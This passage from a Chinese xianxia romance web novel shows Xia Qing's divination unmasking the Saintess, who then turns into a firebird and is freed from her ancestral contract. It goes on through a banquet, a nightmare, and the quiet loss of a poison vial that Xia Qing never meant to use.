她哪儿知道怎么了,她也没见过这阵仗啊,夏师妹家传的神秘卜术原来还有这样的副作用。 圣坛上,夏清还在乱蹦,叽里呱啦念了一串长咒之后,长袖用力一甩,拜台上的香烛竟无火自燃。 随即众人便见夏清忽然扑到桌前,从祭司手中抢过笔墨,挥挥洒洒在一张大纸上画下三个奇怪的符号。 最后一笔落下,她将手中笔杆儿随手一扔,随后两眼翻白,身体抽搐着直挺挺倒下。 “!” 祭司眼疾手快,一把将她接住。 片刻后,夏清“悠悠转醒”。 她睁着一双迷迷糊糊的眼睛,茫然看向四周:“我的术……成功了吗?” 白镜玄面具下冷肃的面庞不自觉颤了颤,无奈大过疑惑,只好配合她演:“应该是成了。” 台下女皇及一众兽臣大气也不敢喘。 没想到施展这个卜算秘术,居然这么恐怖,难怪是秘术呢。 圣坛上,夏清听了白镜玄的话,长舒一口气,遂“艰难”起身,不要白镜玄的搀扶,摇摇晃晃来到桌前。 看清纸上那三个符号,夏清一声惊呼:“贲,解,颐!” 白镜玄也看向纸面,问出在座众人心中共同的疑惑:“这是什么意思?” 夏清并未第一时间回答。 她起身,站在高高的圣坛上,居高临下看向台下几十号兽臣,以及人群中最显眼、最尊贵的女皇和圣女。 夏清不开口,台下便无人敢出声。 这一刻,神秘又诡异的气氛被夏清烘托到极致。 夏清唇边勾起一抹神秘莫测的微笑,忽而抬手指向人群,脸色骤变如怒目金刚,沉声一喝:“你们当中,有人在撒谎!骗子!袭击各部兽使,就是你一手策划的!” 此话一出,场面寂静。 下一瞬,所有人都变了脸色。 女皇身边的兽卫霎时警惕起来,团团将女皇和圣女围住,兽臣全被隔绝在外。 兽臣们则惊慌失措,彼此间竖起防备。 在场众多兽人,一多半都已慌了神,* 但兽人女皇和圣女都还沉得住气。 女皇抬手,示意众兽臣稍安勿躁。 圣女上前一步,询问夏清:“夏仙师,还请说得明白些,你口中的骗子,是谁?” 所有人齐齐望着夏清,既希望听到明确的回答,又对未知产生了一些莫名的恐惧。 圣坛上,夏清沉默地扫了圣女一眼。 忽而,她深吸一口气,冷着脸道:“圣女,别再演了,我已经知晓真相!” “把各部族的兽使交出来!我知道你把他们藏在哪里!” 山火贲,金玉其外,败絮其中,主虚伪和欺骗。 此卦上艮下离,艮山为牢狱,自坐离火之上,而离卦,则是外华内虚之卦,是最炽烈的火焰,意指朱雀。 受困离鸟,不是圣女,又是何人? 众兽臣:“!!!” 这一句比刚才更加炸裂。 慌乱的气氛还未平息,立即掀起更高的风浪。 夏清难不成真的疯了吗?她怎么敢说出这样的话?她知不知道自己在说什么?! 人群中,雅梅失声惊呼:“夏姐姐,是不是弄错了?!” 柳菡云也不可置信:“怎么会是圣女?” 一点迹象也没有,她协助圣女筹备兽人大典已有好几日,这期间圣女为了找到失踪的兽使们费尽心思,常常过度使用通灵术,甚至脱力昏迷。 可以说,她怀疑过每一个兽臣,却从未设想过这一可能。 但夏清的卜术也从未出错,是不是其中有什么误会? 兽人女皇有一瞬间恍惚,随即身侧响起圣女低语:“陛下,那么多兽使队伍都下落不明,怎么刚好这两个人类护送的兽使就能抵达圣城?” “兽人大典乃是我兽人族的盛会,能参与大典,凡我兽人族,谁不与有荣焉?那么,什么人会想剪除陛下左膀右臂,瓦解陛下的统治,致使我兽人族分崩离析,走向衰败?” “非我族类,其心必异,我早就对这两个人类有所怀疑。”圣女有条不紊地说道,“今日,她们果然藏不住,原形毕露。” 女皇眼中惊疑消散,取而代之是厉厉寒芒。 信夏清,还是信圣女? 这个选择对弭荼洲的兽人而言,没有任何难度。 兽卫齐齐调转枪口,一部分指着坛上,另一部分则将柳菡云团团包围。 锋利的锐刃封锁了柳菡云前后左右所有去路,只要她稍有异动就会被就地诛杀,没有丝毫反抗的空间。 圣坛上,迎着所有人质疑仇恨的目光,夏清浑不畏惧,大声说道:“关押兽使的牢笼就建在这座圣坛之下!” 众兽臣再次被震慑,他们不敢相信夏清的话,可从夏清口中吐出的每一个字,都令他们心神恍惚。 倘若这人类所言非虚…… 众人不由自主往圣坛下看。 “祭司姐姐!” 圣女面色清寒,厉声一喝,打断众人思绪。 “快,速速拿下夏清这个异族反贼!” 嗡—— 狂风忽起。 一把剑横在圣女喉前,剑锋银亮,寒意逼人。 短暂寂静。 众多兽臣兽卫这才发现,银面祭司竟凭空出现在圣女身后。 女皇瞳孔一缩:“祭司……” 风这才跟上来,吹动祭司月牙白的衣衫。 她迎上女皇的视线,薄唇轻启。 疏冷清寒的嗓音比风轻柔,如仙乐一般动听。 “孰真孰假,将这圣坛掀开来看一眼,不就知道了吗?” 第22章 第二十二章 “……祭司姐姐?” 圣女神色愕然, 不可置信。 祭司没有拿下异族反贼,反倒将剑挥向她自己。 众兽臣亦都大惊失色,面对如此混乱的局面, 感到彷徨恐惧, 不知道他们该相信谁。 女皇在此时则表现出内心强大的定力。 她很快回过神来, 权衡局势, 神色凝重地说道:“祭司,你更相信这两个人类?” 白镜玄神色冷漠地回答:“真相浮出水面之前, 我谁也不信。” 女皇沉吟须臾,点头:“本皇明白了。” 她抬手示意兽臣们稍安勿躁,随后命令兽卫封锁圣坛, 一部分人马监视夏清, 另一部分仔细搜索,看圣坛周围是否有机关暗道。 白镜玄身前,圣女面无表情地站着, 视线后移也只能看见一片衣角。 瞧不见那张冷冰冰的面具,她只能放弃,无奈叹息:“祭司姐姐,我做梦也想不到, 有朝一日,你会如此待我。” 她六岁时遇见白镜玄,惊为天人,为其广博如渊的见识折服, 央求女皇让她收自己做弟子,却被白镜玄冷漠地拒绝了。 白镜玄虽留在圣城, 做了圣坛祭司,也会教导自己学识与修行的意境, 但她总像一阵风,来无影也去无踪。 没有什么东西能束缚白镜玄,她跟圣女不一样。 白镜玄并无半分波澜,手中长剑稳稳抵着圣女咽喉,平静道:“世事无常,万物起始皆脱离不了‘因果循环’四个字。” “因果循环……”圣女喃喃自语,“可什么是因,又什么是果,别人的果也会成为我的因,我们都不过是时代洪流中的牺牲品。” 白镜玄蹙眉,淡淡扫她一眼,虽没回答,眼底却有若有所思之色。 这时,一名兽卫快步来到女皇面前,回禀道:“陛下,没有找到可疑线索,” 圣女唇边扬起微笑,无视抵在自己喉间的利刃,看向圣坛上孤立无援的夏清:“夏仙师,你还有什么话说?” 夏清:“……” 一道道审视的目光汇聚过来,怀着各种情绪落在夏清身上。 兽卫没有找到夏清说的牢狱入口,圣女在与夏清的交锋中取得压倒性的优势。 她伸手捏住剑刃,不甚在意地轻轻推开,对女皇道:“结果已然分晓,陛下还不能决断吗?” 女皇正待开口,却被圣坛上传来的声音打断。 “他们找不到机关是因为你藏得太好了!”夏清高声说道,“但你以为能瞒得过我?” 圣女闻言,轻笑:“夏仙师何必如此执迷不悟呢?” 夏清不理会她的讥讽,只看向白镜玄:“祭司大人,你可否再帮我一个忙?” 女皇侧首,看向白镜玄:“祭司……” 白镜玄淡淡道:“什么忙?” 夏清深吸一口气,抬手指着圣坛四周摇曳闪烁的火把:“把这些火把都灭了!” 此言一出,圣女神色倏地一凛。 众兽臣兽卫不明所以,但白镜玄没有丝毫迟疑,抬袖一扫,圣坛四个角落上的圣火便同时熄灭。 圣火熄灭,所有人屏住呼吸。 忽然,细微古怪的声响从圣坛上,夏清身后传来。 夏清扭头往后看,便见四方圣坛中间,地面上镌刻的朱雀图腾缓缓旋转,几块交叠的石板向不同的方向退去,露出一个直径一米左右的坑洞。 几名兽卫奔上圣坛查看,不一会儿,台上便传来惊呼之声:“是个入口!找着了!” 女皇脸上神色几经变换,最终无奈地合上双眼,命令:“下去看看。” 下一瞬,兽卫们蜂拥而上,要从通道下去看看里面的情况。 便在这时,一声尖锐的凤鸣响彻环宇,随即璀璨的火光刺痛所有人的眼睛。 灼热的气浪扑面而来,夏清下意识抬袖抵挡。 但有一道身影先一步出现在她面前,清清凉凉的氤氲之气扩散开来,消解了炽烈滚烫的火光。 视觉渐渐恢复,夏清睁眼,透过指缝看见白镜玄的背影。 月白衣衫,随风而动。 她抬起一条胳膊将夏清拦在身后,夏清越过她的肩膀,看见一大片耀眼夺目的火光。 那是一只神鸟,头顶三根金色翎羽,浑身披覆着滚滚烈焰。 它振翅升入高空之时,碎羽飘零,每一根纤柔的羽毛都带着滚烫的温度,仿佛天空中降下了一场火焰雨。 夏清目瞪口呆:“……这是什么?” “朱雀。”白镜玄冷静地回答,“圣女化身了朱雀。” 夏清愕然:“这只火鸟是圣女?” 圣女所化的朱雀盘旋于半空之中,翅膀张开足有十来米宽,烈烈燃烧的火焰被风卷着掠过面庞,带来炽烈的烧灼感。 “我是九天神鸟后裔,却要受限于这方寸土地!做一只笼中鸟,井底蛙!”巨大的火鸟口吐人言,其声清脆,响彻圣宫,“束缚我祖辈的枷锁,如今又来束缚我,凭什么?!” 兽人族的历史能追溯到上古时期,彼时蛮荒初诞于混沌,人族、神族、魔族势力割据,四神兽与兽人族为了生存发展,定下永世互助相守的合约。 契约一直传承到这一代,身负四神兽血脉的她要代整个族群履行合约。 只要兽人族与四神兽的契约还在,她就永远受困于这深宫之中,永远看不到外面的世界。 她设此局,就是为了与兽人族解除契约。 可是,诸多心血都因突然出现的两个人类功亏一篑。 “我不甘心!” 变故发生太突然了,兽人女皇愣了片刻才反应过来:“它想破阵逃走!” 朱雀展翅腾飞,升入万丈高空,眼看着就要没入云层。 忽然,翻卷的云层中显现一层无形的壁障。 朱雀一头撞上去,轰隆一声,大地激烈摇晃,地面绽开蛛网状的裂缝,圣坛外围的柱子也大片大片倾倒。 夏清两辈子加起来也没见过那么大阵仗。 人群中惊呼声四起,兽卫们东倒西歪,柳菡云趁机脱身,轻身一跃便至圣坛之上,来到夏清身边。 局势混乱,众兽臣忙着自己保命,她也顾不得许多,开口问道:“峰主,师妹,接下来怎么办?” “得把她拦下来。”白镜玄沉声,“她若强行破阵,圣宫会被夷为平地。” 夏清惊得下巴都要掉到地上,这可是只存在于传说中的神鸟,它体表火焰的温度恐怕不下一千度,任何武器接近都会被高温融化。 女皇迅速召集来一批会飞的兽人,让他们飞上高空拦截圣女。 但这举措不过杯水车薪。 神鸟之力,岂是这些寻常兽人所能匹敌? 果然,这些翼人升空之后立即被炽烈的火焰逼退,根本无法靠近朱雀。 轰隆隆的震鸣声不绝于耳,圣女铁了心要鱼死网破,一下一下往封印上撞,撞得飞羽漫天,大地上越来越多的建筑坍塌。 “笼中鸟,井底蛙……”夏清重复这几个字,若有所悟。 身前,白镜玄叹了口气,无奈道:“要破此局,解铃还须系铃人。” 一大批兽卫环绕于女皇身侧,兽人女皇在地面剧烈的颤抖中,还长身屹立岿然不倒。 她面上神色纠结,良久,沉痛地合上双眼。 “祭司大人。”女皇在兽卫簇拥之下登上圣坛,“请祭司大人出手。” 白镜玄淡淡瞥她一眼:“你想好了?” 蛮荒各地都有战乱,弭荼洲圣城的安宁是兽人族祖祖辈辈用无数血肉之躯换来的,失去朱雀的力量,圣城在各部族眼中的重要性将会大幅下降。 这对于女皇的统治而言,是极为不利的。 兽人女皇面色肃然:“四神兽与兽人族的契约应当在我们的上一辈终结,小语……她是无辜的。” 因为血脉契约的束缚,圣女自出生起便在红墙高瓦的禁锢之下,无法离开圣宫。 她只是想看一眼外面的世界,没有错。 白镜玄点头:“好。” 下一瞬,剑气冲破云霄,以一化千,交织成一张金灿灿的大网,扑向朱雀。 柳菡云叹为观止,小声说道:“不愧是峰主,身在蛮荒之地举手投足还能释放这样的剑招,我再修炼两百年也做不到。” 那朱雀感受到铺天盖地的剑意,惊怒地振翅飞起,须臾间变换了好几道轨迹,想甩开剑光。 但身后剑网将它牢牢锁定,不论它躲到哪里,飞速追来的剑气如影随形。 剑光将神鸟逼入绝境,朱雀躲闪不及,被浩瀚剑光笼罩。 火浪与剑光交锋,顷刻间刷下一大片火红的羽毛。 神鸟爆发凄厉惨叫,从万丈高空之中跌落。 白镜玄长袖一扫,柔风卷过圣坛,托起朱雀的翅膀,令它跌坠的速度减缓,不至于摔伤。 神鸟落入圣坛范围,笼罩在它身上耀眼炽烈的光芒缓缓散去。 她又变回圣女的模样,满身新伤,疲惫地跌坐在圣坛上,眼神绝望又凄凉。 看着缓缓走近的女皇和祭司,圣女自嘲苦笑,冷声道:“杀了我吧。” 若不能逃出这座囚笼,她活着不如死了。 她此番破坏大典,又囚禁各部兽使,种种恶行公之于众,就算女皇不要她的性命,她也已经失去人心,成为众矢之的,将在所有人的谩骂唾弃中苟活。 “小语。”女皇在圣女面前蹲下,握住她的手,“把神兽契约对圣城的庇护视作理所当然是我的错。” 一个合格的帝王是民心所向,而非凭依种种外力来获得力量。 兽人女皇咬破指尖,以鲜血为墨,在圣女掌心画下一道特殊的符印。 最后一笔完成,血迹泛起光亮。 女皇托起她的手掌,在她疑惑不解的眼神中,低头吻过她的手背。 抬眸,语气温柔:“从今日起,你自由了。” 第23章 第二十三章 困扰自己十几年的契约, 女皇说解就解了,这件曾让她无比绝望痛苦的枷锁,竟然如此轻易就被打破。 恍惚间, 圣女感到难以置信。 女皇放下她的手, 缓声说:“把伤养好, 你想去哪里就去哪里。” 圣女沉默。 周围无数双眼睛, 那些曾经敬仰倾慕她的目光如今都化作利利锋刀。没有了契约,四神兽对兽人族而言也不再是信仰。 圣坛四周满目疮痍, 十数根梁柱坍塌倾倒,摔断成几截,兽卫兽臣也有不少在方才动乱中受伤。 而这一切, 都是因她而起。 在这世间无数因果循环之中, 她也成为了别人的因,成为刺向无辜之人的那把尖刀。 在拼尽一切之后终于破开枷锁,得到了她梦寐以求的自由, 可此刻,对上女皇平静包容的视线,她却感受不到成功的喜悦,反而愧悔难当。 女皇一声令下, 兽卫立马组织人手潜下圣坛。 圣坛下居然别有洞天,前来圣城参与兽人大典的各部兽使以及他们的护卫都被顺利找了。 兽人女皇委实松了一口气。 如此一来,兽人大典的筹备就能继续推进,也不必担心延期。 这时, 有兽臣来问女皇:“陛下,此次宫中大战动静不小, 已有百姓围聚街头,好奇发生了什么事, 臣等……” 他看一眼不远处沉默落魄的圣女,斟酌措辞道,“臣等怎么向百姓交代?” 夏清在旁无意听了一耳朵,心中暗自唏嘘。 如果让百姓知道这么大动静是圣女搞出来的,他们的圣女对神兽契约深恶痛绝,不惜破坏圣宫鱼死网破也要离开这片土地,其影响恐怕与塌房无疑。 就好比雅梅那个小姑娘。 自从获知她们被圣女欺骗,她整个人精气神像被抽走了一样,蔫头耷脑的,一句话也不说。 周围那些兽臣也都心思各异。 之前在紫霄峰时,夏清也没少见这样的脸色。 念及此,她对圣女又生出几分同病相怜的叹息。 她们同样被命运束缚,同样身不由己。 女皇沉吟片刻,回答道:“你且跟他们说,圣宫中潜入了外族奸细,圣女在伐恶之战中身受重伤,需要好好休养,接下来这段时间,大伙就不要来叨扰圣女了。” 圣女心情好不容易平复下来,听到女皇这句话,她又倏地抬起头来,眼神颇为复杂。 兽臣得到确切答复,未有犹豫,点头应下,而后匆匆离去。 女皇又看了圣女一眼,没再多说什么,留下一些人手清理圣坛,嘱咐圣坛兽卫照看好圣女,随即便领着一众兽臣回主殿上去。 “这一次,要多谢祭司大人和两位仙师。” 女皇感慨万千,命宫人做一桌好菜,设宴款待各部来使,同时也为答谢白镜玄,夏清和柳菡云,特地请三位上座。 白镜玄身为祭司,地位堪比兽人族的宰相,坐位离女皇最近,与她相对的位置本该属于圣女,但因今日之变,圣女的席位只好空缺。 夏清和柳菡云是殿上贵客,座位安排在白镜玄的下手。 已领教过蛮荒豪放粗犷饮食风格的夏清对宴会上的菜式不抱希望,但女皇亲自设宴招待,总也不能拂人家面子,便只得乖乖坐着,陪饮一两杯酒。 柳菡云对吃的东西不挑,反正咽下肚去还要提炼吸收,蛮荒灵气资源匮乏,能补充一点是一点。 因而饭菜端上来后,柳菡云大吃特吃,夏清则因为没怎么吃菜,肚内空空,三五杯浊酒下肚,脑子就开始犯迷糊。 这时,雅梅举杯来到夏清桌前:“这杯酒敬夏仙师,我能找回部族的兽卫们,全仰赖夏仙师的占卜秘术!” 雅梅身后,灵猫族另外几位兽使也纷纷起身,向夏清致以灵猫族最高级的礼节。 夏清摆摆手不敢居功:“我没做什么,祭司功劳比较大,没有祭司大人,这事儿搞不定!” 白镜玄侧首,见夏清脑袋一歪一歪的,已有了两分醉态。 于是,夏清再一次抬手去拿酒杯时,白镜玄伸手拦下。 夏清抬眸,眨巴眨巴眼睛望向她。 白镜玄与她对视须臾,不说话,只轻轻按下她的手,随后面向雅梅:“夏仙师日前与魔人交手受伤还未痊愈,不宜喝太多酒。” 雅梅愕然:“啊,对不起,我不知道……” 她不知道夏清先前还与魔人交过手,顿觉自己此番敬酒的举动过于冒昧。 “无妨。”白镜玄端起自己的酒盏,举杯向雅梅示意,“我代夏仙师饮了这杯。” 雅梅受宠若惊,脑子懵懵的,见白镜玄一口饮尽杯中酒,她也慌忙双手托起酒杯把一整杯酒囫囵喝下去。 其他部族的兽使原本也想向夏清敬酒,但见此场景,个个彼此对视一眼后,悻悻作罢。 由祭司代饮,他们谁敢上前冒犯? 这边雅梅敬完酒后,同手同脚地回到自己的座位上呆呆坐好,坐在她身侧与她相熟的几位兽使嬉笑着打趣她她也不搭理。 首座之上,女皇将这席上一幕幕场景尽收眼底。 祭司举杯那一刻,女皇杯盏悬停于唇侧,顿了许久才将杯内烈酒纳入口中。 这酒以往不觉得烈,今日饮下,却灼得喉头滚烫。 未等宴席结束,夏清就喝醉了。 祭司以送夏仙师回房休息为由提前离席,柳菡云后知后觉,放下杯碗追上去:“诶,等等,祭司大人,我也没地方住!” 女皇亦在此时停杯起身,将剩下的时间全部留给此次遭受无妄之灾的兽使们。 祭司和女皇一走,席上气氛便松快下来,愈发热闹。 各部兽使你一言我一语把酒言欢,畅聊来时见闻,却不约而同对来时途中遭遇的袭击秘而不宣。 阻挠兽人大典罪魁祸首是圣女,这件事对在座每一个人而言,都是一个剧烈冲击。 雅梅独自坐着饮酒,几杯烈酒下肚,她忽然趴在桌上大哭起来。 周围静了一瞬,随即恢复如常。 没有人问她为什么哭,笑闹声掩盖了她的哭声。 待这一夜过去,太阳明日依旧会升起,兽人大典还是会如期举行。 女皇乘着夜色来到圣宫宫祠。 感觉喧闹过后,周围的一切变得格外寂静。 站在宫祠厚重的大门前,望着眼前古老的殿宇,她心情沉重。 直到此刻,她依然不确定今天做出的决定是不是正确。 解除四神兽和兽人族的合约,是悖逆先祖遗训的擅妄之举,今日那般局势,情急之下无人阻止,但兽臣们对她此举实则颇有微词。 没有了神兽庇佑,兽人族的力量大幅削减,在蛮荒各部洲中的地位自然也会下降。 随之而来的,除了外部的侵略,还有族群内部的斗争。 和平的统治不知道还能持续多久。 身为兽人族的女皇,她要向历代兽人女帝先祖请罪。 女皇垂下眼眸,神色平静地推开祠堂大门。 随即,她停下脚步,面露惊色。 祠堂中已有人在。 是一道纤瘦孱弱的背影。 女皇愕然:“小语?” 背影闻声轻轻一颤,但没有回头。 她跪在祠堂正中,一动不动。 女皇沉吟须臾,迈开脚步朝她走过去,和她并肩跪在一起。 四神兽和兽人族的合作虽然以合约维系,但若从上古追溯,他们实则拥有同一个祖先。 女皇瞻仰着历代兽人女帝的遗像,语气平和地开口:“你怎么到这里来了?” “做了错事,就要思过。”圣女认错的态度也十分平静。 女皇:“……你说的对。” 这也是为何她会深夜来到祠堂。 她们都有错。 圣女又道:“陛下来此,是后悔了吗?” 后悔解除契约,打破从古至今的传统,她作为最终受益者倒是可以一走了之,但女皇却要为此独自承受族中非议,以及日后烽烟起战火乱的风险。 “不。”女皇回答她,“我不后悔。” 祖制并非就一定是对的。 契约建立在人情之上,她们的祖辈之所以会达成合作,一定是因为彼此认可,尊重,族群人民相爱相亲,且拥有同一个愿景。 可如果这些都没有,只剩下一个契约,分裂则在所难免。 世上没什么东西可以强求得来,权力如此,民心如此,感情更是如此。 圣女似没料到这个回答,转过脸来看向女皇。 “陛下,您还记得您自己的名字吗?” 女皇沉吟须臾,回答:“我叫圣辉琳琅。” 圣辉是狮人族的族姓,琳琅才是她自己的名字。 “琳琅。”圣女呢喃着重复这两个字,“琳琅姐姐,你有没有什么心愿?” 面对圣女提出的这个问题,女皇愣了一瞬。 她从来没有想过自己会有什么心愿。 良久,她抿了抿唇,应道:“我的心愿是弭荼洲风调雨顺,兽人族百姓安居乐业,圣城昌盛繁荣。” “那是兽人女皇的心愿,不是你的心愿。” 圣女否定了这句话,摇头起身,走到女皇面前:“我问的是你自己的心愿。” 女皇抬起头来,与圣女四目相对。 “我会在圣城多留一阵子,弥补我的过失,报答你对我的恩情。”圣女在女皇面前蹲下,双手托住下巴,“等兽人大典顺利结束,重建工作完成,再……替你完成一件心愿,我再走。” 女皇沉默好一会儿,最后平静地摇头。 “我没有什么心愿。” “怎么会没有呢?”圣女言之凿凿,“我知道的,你瞒不过我。” 女皇:“?” 圣女歪歪脑袋,笑容狡黠:“你喜欢祭司姐姐对不对?” “……”女皇,“!!!” 第24章 第二十四章 夜深人静, 白镜玄安顿好柳菡云,抱着夏清回到房间。 夏清卧在她怀里,两个脸蛋儿红扑扑的, 嘴里嘟嘟囔囔不知念叨着什么。 白镜玄垂眸, 唇边勾起一抹无奈的笑。 不过几杯浊酒, 就醉成这个样子。 在这人生地不熟的地方, 真是一点防备心也没有。 她将夏清放到床上,替这只小醉猫换身干净的衣裳, 欲起身,夏清忽然抓住她的衣角。 白镜玄起身的动作微微顿住,扭头看去。 夏清翻了个身, 但没醒。 她合着眼, 小声嘀咕:“秘密……” 白镜玄好笑地抬了抬眉毛,问她:“什么秘密?” 夏清睡梦中嘟起嘴,表情皱巴巴的, 答非所问:“……我有很多秘密。” 白镜玄:“?” “你是魔族的奸细?” 白镜玄的质问声让夏清胆寒。 一阵阵风不知从何处吹来,瘆人的凉意不断往骨头缝里钻。 夜幕深深,夏清看不清白镜玄的脸,但能想象她如此冷淡的语气对应的该是一副怎样冷漠的表情。 她想说她没有, 并非如此,这件事另有隐情。 但冥冥中,感受到白镜玄冰冷如刀的视线,这些辩解的言语便一个字也吐不出来。 她只能一步退, 步步退,退到不知何时, 身后已是万丈深渊。 身前空阔的高台上,一道仙气飘飘的白影缓步朝她走来。 那是手持仙剑的白镜玄。 天空中洒下的月光披在她身上, 像蒙了一层薄薄的纱,姿态缥缈,举世无双。 纵然此时,这道身影映入夏清瞳孔,依然是好看的。 夏清退无可退,站在悬崖边上,压抑着内心的忐忑和恐惧,沉声发问:“你……要杀我?” 白镜玄冷哼一声:“魔族祸患,死不足惜。” 夏清陡然间鼻子一酸:“可你不是说过,生生世世……” “一场误会,岂能当真?” 这句话宛如世间最锋利的刀,狠狠刺进夏清心里。 白镜玄醒了,她记忆恢复,过往的海誓山盟便不再认了。 分明是夏清早就预料到的结局,可当这一日真正到来的时候,她没想到自己竟然如此脆弱,无法承受。 白镜玄步步逼近,夏清沉痛地闭上眼睛。 没等那剑刺穿她的心口,她自己纵身一跃,从万丈高台之上坠落。 轰—— 夏清陡然睁眼。 她发现自己跪在地上,手脚都上着枷锁,披头散发,浑身遍布发臭的伤口。 周围环境阴冷潮湿,模糊的黑影盘旋在她面前。 一张人脸时而出现,时而堙灭。 黑暗中,女人的声音尖细又刻薄。 “去,我要你毁掉白镜玄,就像当初……她毁掉我。” 夏清艰难地抬起头来,望向虚空中若隐若现的面庞。 感觉……像在哪里见过似的。 一道气浪拍打过来,视野霎时沉入黑暗。 …… 再睁眼,天色朦胧,日月同辉。 夜色的黑暗尚未完全褪去,朝阳的璀璨也还没有照耀大地。 周围响起嘈杂的说话声,有人窃窃私语。 夏清左顾右盼,发现身边的人都穿着统一制式的衣服,大抵分为五种颜色。 “镜玄仙尊今日出关,不知道她会不会挑选一两个弟子做亲传。” “别做梦了,仙尊门下数十年来只有那废物一个弟子,倘若不是因为……哼,不是谁都能有这样的狗屎运。” 夏清:“……” 打眼四处瞧了瞧,人群中,有一道身影格外夺目。 正是天同洲弟子柳菡云。 柳菡云站在人群中最显眼的位置,与同门师妹江梓秋谈笑风生。 夏清迈开脚步,朝她们走过去。 行至一半,峰主出关。 前方传来骚动,柳菡云和江梓秋同时扭头,便见洞府后缓缓显出一道人影来。 白镜玄。 观山台上,众长老弟子纷纷下拜。 只有夏清愣愣站着,眼看着白镜玄一步一步走过来。 同样的场景,似曾相识。 夏清嘴唇动了动,张口唤道:“卿卿……” 话音未落,白镜玄从夏清身侧经过,看也没多看她一眼。 …… 夏清陡然惊醒。 睁眼,头晕目眩,视野中所有的东西都在转圈圈。 好一会儿,她才发现自己躺在床上,刚才发生的一切只是一场梦。 是梦吗?真的是梦? 这回她确实醒了吗?还是在梦中出不来? 夏清满头大汗,呼吸急促,不知过了多久才喘匀气息,缓缓找回理智,恢复平静。 她抬手盖住双眼,抹掉额头上的密密麻麻一层冷汗。 屋外天色已经大亮,夏清心里却惴惴不安。 这种不安的感觉,比日前寻不见失踪兽使时的不妙预感还要强烈。 恐怕要发生什么不好的事情。 夏清捂着胸口,才从噩梦中醒来,她的心跳的速度很不正常,回想起昨夜经历,都是那几杯酒惹得祸。 酒以后可再不敢喝了,晚上噩梦连连不说,第二天睡醒还宿醉头疼,没有一丁点儿好处。 白镜玄不在屋里,夏清心揪成一团,梦中最后那一幕她此刻还记忆犹新。 靠着白镜玄记忆错乱偷来的感情不知道还能维系多久,白镜玄这条大腿也不一定能抱得牢。 夏清心想,魔族安排的任务,还是得慎重对待。 她翻身下床,行至桌前,倏然愣住。 啊,小瓶子呢? 那瓶子这几天一直放在桌上,没有人动过。 这屋除了她自己就只有白镜玄会进来,难不成药瓶是被白镜玄拿走了? 想到这个可能,夏清头皮发麻。 白镜玄为什么要拿走药瓶?她是不是终究还是觉察到什么? 心头那股不妙的预感愈演愈烈,慌张感投射到夏清身上,出现了手抖腿软之类的症状。 怎么办怎么办怎么办? 夏清心念电转:不如现在就逃走! 趁着白镜玄不在,赶紧走! 逃出圣宫,离开弭荼洲,到一个不会被白镜玄和魔族找到的地方!永远也不要回来了! 事不宜迟,就这么办! 夏清心意已决,当即大步往外走。 吱呀一声,房门打开。 白镜玄出现在门后,与夏清迎面撞了个正着。 “……” 夏清脚下步子往回缩。 白镜玄眉头紧锁,面色凝重:“你要去哪儿?” 嘶。 夏清感觉局势失控,死到临头。 “* ……不,不去哪儿,就,随便逛逛。” 白镜玄眉头皱得更紧了。 夏清大气不敢喘,不知道接下来自己将要面临什么。 于是,下一秒。 白镜玄叹了口气:“把衣服穿好再出去。” 夏清:“?” 低头瞧一眼。 衣衫不整,披头散发,甚至只穿了里衣,没有穿外套。 屋外的风吹过来,呼啦啦往领口钻。 夏清:“……” 救命! 第25章 第二十五章 夏清满脸尴尬。 她真是急糊涂了, 穿成这样出门,别说偷偷离开圣宫,只怕要被宫里的兽卫当成疯子抓起来。 “酒还没醒?”白镜玄瞅她一眼, 语气平和。 夏清顿了须臾回过神, 立马顺坡下:“嗯, 嗯, 还有点儿晕。” 白镜玄叹了口气:“那还是别出去了,再歇一会儿吧。” 夏清不敢反抗, 小鸡啄米似的点头:“好。” 回到房间,白镜玄倒了杯水递到夏清手中,见她坐立难安:“怎么了?哪里不舒服吗?” 夏清捧着水杯抿两口, 感觉气儿稍顺了一些, 理智也勉强回笼,冷静下来。 她偷偷观察白镜玄的神色,后者眉目温和, 神态间显出两分关切。 窗外的阳光投射进来,照亮白镜玄深邃的明眸,在那汪幽静的清潭里荡漾起浅浅的波光。 镜玄仙尊的美貌当真完美无瑕。 但这张漂亮的脸孔与梦境里冷漠肃杀的白镜玄相重合的瞬间,夏清心里还是忍不住一悸, 同时内心涩然,惶惑的情绪翻涌而至,居然有点鼻酸。 夏清赶忙低下头,把杯子里的水一口全喝了。 白镜玄问她:“还要吗?” 夏清摇头, 白镜玄便把水杯收走。 白镜玄站在桌边忙碌,夏清望向她的侧脸, 似不经意地问:“之前放桌上那个小瓶子,你知道去哪儿了吗?” “嗯, 知道。”白镜玄回答着,同时转过身来,看向夏清。 对上白镜玄的目光,夏清心里一咯噔,心说坏了。 白镜玄的眼神……好像与平时不太一样,她肯定是知道些什么。 怎么办,是不是要开始算账了? 虽然心里已有所预料,但这一幕真真切切发生,夏清还是无法抑制内心极速攀升的恐惧。 倘若白镜玄质问,她该如何应对? 夏清一到关键时刻就变傻子,大脑空空,嘴巴却好像有自己的意识,不经夏清允许擅自开口:“瓶子……去哪儿了?” 白镜玄神情转变为无奈,叹息道:“昨夜你喝醉了,夜里说胡话,吵着闹着要那个小瓶子,我把它取来,你反手就给扔了。” 夏清懵逼:“啊???” “事实就是如此。”白镜玄眉目间的笑意带着两分无可奈何。 夏清嘴角颤了颤,满头黑线,硬着头皮追问:“那我,我给它扔哪儿了?” 白镜玄抬手指了指窗外。 夏清扶额,对自己佩服得五体投地。 那么重要的东西,她喝醉酒说扔就扔,真是管杀不管埋,一点后果都不考虑。 白镜玄又道:“昨日夜里清儿拦着我不让出去,今晨我再去找时已不见其踪迹。” 夏清:“……” 谢谢你,你居然还去找了。 白镜玄问她:“我让殿里的人再找找?” “不,不用了!”夏清连连摆手,“没关系,丢了就丢了,也不是很重要的东西!” 白镜玄闻言微微颔首,不再过问。 夏清心念一转,默默掐诀起卦。 天山遁。 遁,藏也。 完了,真找不到了。 夏清暗自为自己捏了一把汗。 这咋整啊? 虽然她心里本来也没打算真给白镜玄下毒,但现在道具都没了,她是一点余地也没有了。 但,丢都丢了,还能给再变出来啊? 事已至此,短暂忐忑之后,夏清决定放下这件事不再想了。 她向来心态好想得开,谁能说此事不是某种天意呢? 车到山前必有路,夏清懒得焦虑,债多了不愁,虱子多了不痒,她现在就是一块滚刀肉。 见夏清久久没有言语,白镜玄缓步来到她面前:“清儿有心事?” 话音未落,夏清忽然伸手揽住白镜玄的腰。 白镜玄微怔:“……清儿?” 